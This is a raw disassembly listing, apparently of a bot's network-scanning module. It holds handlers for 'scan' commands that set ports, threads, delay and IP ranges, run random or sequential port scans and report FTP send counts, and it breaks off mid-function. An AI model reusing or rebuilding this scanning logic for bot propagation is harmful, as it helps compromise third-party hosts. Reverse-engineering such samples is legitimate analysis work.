; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422570 proc near ; CODE XREF: sub_4018EDj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_422570 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422590 proc near ; CODE XREF: sub_4018E8j
mov eax, [ecx]
retn
sub_422590 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225B0 proc near ; CODE XREF: sub_4019ABj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40182A
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4225B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225E0 proc near ; CODE XREF: sub_401631j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401A78
pop ecx
retn 4
sub_4225E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422600 proc near ; CODE XREF: sub_401E60j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401F9B
pop ecx
retn 4
sub_422600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422620 proc near ; CODE XREF: sub_401A2Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_42263B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_42263B: ; CODE XREF: sub_422620+11j
retn
sub_422620 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422650 proc near ; CODE XREF: sub_40201Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_422650
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422691
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_401677
loc_422691: ; CODE XREF: sub_422650+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_422650 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226E0 proc near ; CODE XREF: sub_401ED3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4226E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422721
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4014C9
loc_422721: ; CODE XREF: sub_4226E0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_4226E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_401A78j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4019BA
retn
sub_422750 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422770 proc near ; CODE XREF: sub_401F9Bj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_422770 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422790 proc near ; CODE XREF: sub_401677j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_4014C9
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_422790 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227C0 proc near ; CODE XREF: sub_4019BAj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A6E
test [esp+4+arg_0], 1
jz short loc_4227D8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4227D8: ; CODE XREF: sub_4227C0+Dj
mov eax, esi
pop esi
retn 4
sub_4227C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227F0 proc near ; CODE XREF: sub_401AE1j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4227F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov dword_4D5FBB, offset aAsn ; "asn"
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+8D008h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+68h+var_3C]
push 1
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+8D036h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 0Eh
push 1
push 3
lea ecx, [esp+68h+var_3C]
push 13h
push ecx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_4017E4
lea edx, [esi+8D064h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+68h+var_3C]
push 1
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_4017E4
lea ecx, [esi+8D092h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+68h+var_24]
push 6
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_4017E4
add esi, 8D0C0h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_401226
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_4227F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422A40 proc near ; CODE XREF: sub_40138Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_422A40
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8D008h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422B0A
push 3
call sub_401483
add esp, 4
test eax, eax
jle short loc_422ADD
push 3
call sub_401D8E
mov eax, dword_50BB80[eax*8]
add esp, 4
push eax
call near ptr 71AB3F41h
nop
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422ADD: ; CODE XREF: sub_422A40+52j
lea ecx, [esi+2Ah]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422B0A: ; CODE XREF: sub_422A40+40j
lea ecx, [ebp+8D0C0h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422BB0
mov edi, dword_4D63A0
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
cmp edi, ebx
jl loc_4231BD
mov edx, dword_44767F
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422BB0: ; CODE XREF: sub_422A40+DFj
lea ecx, [ebp+8D064h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_422C30
push eax
push 3
call sub_401D93
add esp, 8
test eax, eax
jle short loc_422C05
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
jmp loc_422E39
; ---------------------------------------------------------------------------
loc_422C05: ; CODE XREF: sub_422A40+194j
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_422E39
; ---------------------------------------------------------------------------
loc_422C30: ; CODE XREF: sub_422A40+185j
lea ecx, [ebp+8D036h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
mov edi, dword_50FB08
test eax, eax
jnz loc_422CDE
push 3
call sub_401483
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset asc_443600 ; " "
push 2
push eax
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_4017E4
push eax
call edi ; dword_50FB08
add eax, ebx
add esp, 4
cmp eax, 1F4h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_422E56
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_422CDE: ; CODE XREF: sub_422A40+20Bj
lea ecx, [ebp+8D092h]
call sub_4014D3
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_422E39
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, dword_444438
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_422D69
mov eax, offset dword_444438
loc_422D55: ; CODE XREF: sub_422A40+327j
cmp [eax+8], edi
jb short loc_422D5F
mov [esp+7A0h+var_78D], 1
loc_422D5F: ; CODE XREF: sub_422A40+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_422D55
loc_422D69: ; CODE XREF: sub_422A40+30Ej
mov ebp, off_50FBF0
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp ; sub_5EA1BD
mov eax, dword_444438
add esp, 8
test eax, eax
jz short loc_422DCF
mov edi, offset dword_444440
loc_422D8F: ; CODE XREF: sub_422A40+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp ; sub_5EA1BD
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
call near ptr 77C47920h
nop
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_422D8F
loc_422DCF: ; CODE XREF: sub_422A40+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp ; sub_5EA1BD
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
call near ptr 77C47920h
nop
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_422E29
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push 0
call sub_401523
add esp, 10h
loc_422E29: ; CODE XREF: sub_422A40+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010D2
add esp, 4
loc_422E39: ; CODE XREF: sub_422A40+1C0j
; sub_422A40+1EBj ...
xor al, al
loc_422E3B: ; CODE XREF: sub_422A40+98j
; sub_422A40+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_422E56: ; CODE XREF: sub_422A40+26Ej
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_4017E4
push eax
call edi ; dword_50FB08
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, 3
mov ecx, eax
mov [esp+7A0h+var_4], ebp
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push ebp
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov eax, [esp+7A0h+var_658]
cmp eax, ebp
jnb short loc_422F33
mov [esp+7A0h+var_658], ebp
jmp short loc_422F43
; ---------------------------------------------------------------------------
loc_422F33: ; CODE XREF: sub_422A40+4E8j
cmp eax, 3Ch
jbe short loc_422F43
mov [esp+7A0h+var_658], 3Ch
loc_422F43: ; CODE XREF: sub_422A40+4F1j
; sub_422A40+4F6j
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_422F9C
mov [esp+7A0h+var_654], eax
loc_422F9C: ; CODE XREF: sub_422A40+553j
mov eax, dword_444438
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_42306C
mov ebp, offset dword_444438
jmp short loc_422FC2
; ---------------------------------------------------------------------------
loc_422FBF: ; CODE XREF: sub_422A40+602j
or ebx, 0FFFFFFFFh
loc_422FC2: ; CODE XREF: sub_422A40+57Dj
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_4017E4
mov edi, eax
lea ecx, [ebp-28h]
loc_422FEC: ; CODE XREF: sub_422A40+5CAj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_423010
test al, al
jz short loc_42300C
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_423010
add ecx, 2
add edi, 2
test al, al
jnz short loc_422FEC
loc_42300C: ; CODE XREF: sub_422A40+5B6j
xor eax, eax
jmp short loc_423014
; ---------------------------------------------------------------------------
loc_423010: ; CODE XREF: sub_422A40+5B2j
; sub_422A40+5C0j
sbb eax, eax
sbb eax, ebx
loc_423014: ; CODE XREF: sub_422A40+5CEj
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz short loc_42304A
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_422FBF
jmp short loc_423069
; ---------------------------------------------------------------------------
loc_42304A: ; CODE XREF: sub_422A40+5EFj
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, dword_444438[eax*4]
mov [esp+7A0h+var_65C], edx
loc_423069: ; CODE XREF: sub_422A40+608j
or ebx, 0FFFFFFFFh
loc_42306C: ; CODE XREF: sub_422A40+572j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_42308A
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4231A5
; ---------------------------------------------------------------------------
loc_42308A: ; CODE XREF: sub_422A40+635j
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016AE
push offset dword_443DC4
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_4013E3
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_401226
test edi, edi
jz loc_423167
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_4017E4
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
nop
call near ptr 77C3FA76h
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016AE
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_4017E4
push eax
call near ptr 77C47660h
nop
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_401226
jmp loc_423296
; ---------------------------------------------------------------------------
loc_423167: ; CODE XREF: sub_422A40+688j
push offset dword_444574
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
push offset off_444570
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
push offset off_44456C
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4231A5: ; CODE XREF: sub_422A40+645j
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
loc_4231BD: ; CODE XREF: sub_422A40+132j
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_4231C4: ; CODE XREF: sub_422A40+735j
; sub_422A40+745j ...
mov ecx, dword_4D60BD
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
nop
call near ptr 71AB951Eh
push offset off_444570
mov ecx, esi
call sub_4013E3
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+7A8h+var_770]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov ecx, esi
push offset dword_444574
call sub_4013E3
test eax, eax
jz short loc_42328B
push offset off_444570
mov ecx, esi
call sub_4013E3
mov ebp, dword_50FA90
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp ; dword_50FA90
add esp, 8
xor bl, bl
test edi, edi
jle short loc_42327E
loc_423262: ; CODE XREF: sub_422A40+83Cj
test eax, eax
jz short loc_42327E
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp ; dword_50FA90
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_423262
loc_42327E: ; CODE XREF: sub_422A40+820j
; sub_422A40+824j
mov [esp+7A0h+var_630], 1
jmp short loc_423296
; ---------------------------------------------------------------------------
loc_42328B: ; CODE XREF: sub_422A40+7F1j
mov [esp+7A0h+var_630], 0
loc_423296: ; CODE XREF: sub_422A40+722j
; sub_422A40+849j
mov edx, dword_4D60BD
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_4017E4
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
call near ptr 77C3FA76h
nop
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_4232F8
mov eax, offset aSequential ; "sequential"
loc_4232F8: ; CODE XREF: sub_422A40+8B1j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:44441Ah[eax*4]
push ecx
push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401BD6
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_402261
mov al, 1
jmp loc_422E3B
sub_422A40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4235F0 proc near ; CODE XREF: sub_40114Fj
arg_A6 = dword ptr 0AAh
arg_AE = dword ptr 0B2h
mov ecx, [esp+arg_AE]
push ebx
test ecx, ecx
push offset byte_446F60
mov ecx, offset dword_447988
setnz bl
call sub_4014D3
push eax
push ebx
push ebx
push offset byte_4D60A5
call sub_401848
mov eax, [esp+18h+arg_A6]
add esp, 14h
lea eax, [eax+eax*2]
pop ebx
lea eax, [eax+eax*4]
mov ecx, dword_444440[eax*4]
inc ecx
mov dword_444440[eax*4], ecx
mov al, 1
retn
sub_4235F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423660 proc near ; CODE XREF: sub_401DF7j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push offset dword_50DAD8
call sub_5EA1BD
nop
mov eax, offset dword_50DAD8
add esp, 2Ch
retn
sub_423660 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423720 proc near ; CODE XREF: sub_401F37j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, dword_50BB80[esi*8]
push eax
nop
call near ptr 71AB2BC0h
inc eax
push eax
nop
call near ptr 71AB2BC0h
mov dword_50BB80[esi*8], eax
pop esi
retn
sub_423720 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423760 proc near ; CODE XREF: sub_401131j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_423792
pop edi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_423792: ; CODE XREF: sub_423760+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr 77C41B72h
mov eax, [esp+34h+var_8]
mov esi, dword_50FABC
add esp, 18h
cmp eax, ebx
jnz short loc_4237CA
call esi ; dword_50FABC
mov [esp+1Ch+var_8], eax
loc_4237CA: ; CODE XREF: sub_423760+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_4237D6
call esi ; dword_50FABC
mov [esp+1Ch+var_C], eax
loc_4237D6: ; CODE XREF: sub_423760+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_4237E2
call esi ; dword_50FABC
mov [esp+1Ch+var_10], eax
loc_4237E2: ; CODE XREF: sub_423760+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_4237EC
call esi ; dword_50FABC
loc_4237EC: ; CODE XREF: sub_423760+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
